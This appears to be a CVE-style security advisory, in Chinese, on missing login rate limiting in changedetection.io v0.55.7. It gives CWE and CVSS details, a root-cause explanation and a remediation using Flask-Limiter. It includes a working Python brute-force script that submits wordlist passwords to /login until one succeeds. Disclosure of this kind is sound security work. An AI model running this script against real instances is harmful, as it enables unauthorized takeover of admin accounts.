产品: dgtlmoon/changedetection.io — v0.55.7
文件: changedetectionio/flask_app.py
CWE: CWE-307 — 对过多身份验证尝试的限制不当
CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N — 6.5(中危)
CNA: Turan Security · CVE 记录
changedetection.io 的 /login 路由将提交的密码与单个 PBKDF2-HMAC-SHA256 哈希进行比较,没有基于 IP 或会话的速率限制、失败尝试计数器或锁定机制。requirements.txt 中也不存在任何速率限制库。
攻击者可以无节制地针对单一管理员登录进行无限次密码猜测,从而对该实例的唯一账户发动在线暴力破解或撞库攻击,除了网络往返之外无需任何成本。
import requests
import itertools
import sys
target = sys.argv[1] if len(sys.argv) > 1 else "http://localhost:5000"
wordlist = sys.argv[2] if len(sys.argv) > 2 else "passwords.txt"
session = requests.Session()
with open(wordlist) as f:
for line_no, password in enumerate(f, 1):
password = password.strip()
resp = session.post(
f"{target}/login",
data={"password": password},
allow_redirects=False,
timeout=10,
)
# No lockout, no rate-limit headers, no CAPTCHA at any attempt count.
status = "SUCCESS" if resp.status_code in (302, 303) else "fail"
print(f"[{line_no}] {password!r}: {status} (HTTP {resp.status_code})")
if status == "SUCCESS":
print(f"[+] Valid password found: {password}")
break
对任意密码字典运行该脚本攻击实例——在整个运行过程中的任何尝试次数都不会触发锁定、验证码或递增延迟。
登录处理器直接进行哈希比较,没有任何尝试跟踪状态(按 IP、按会话或全局),也没有安装速率限制中间件/库。
在 /login 上添加速率限制库(例如 Flask-Limiter),并带有失败尝试计数器,以及针对每个来源 IP/会话的指数退避或临时锁定。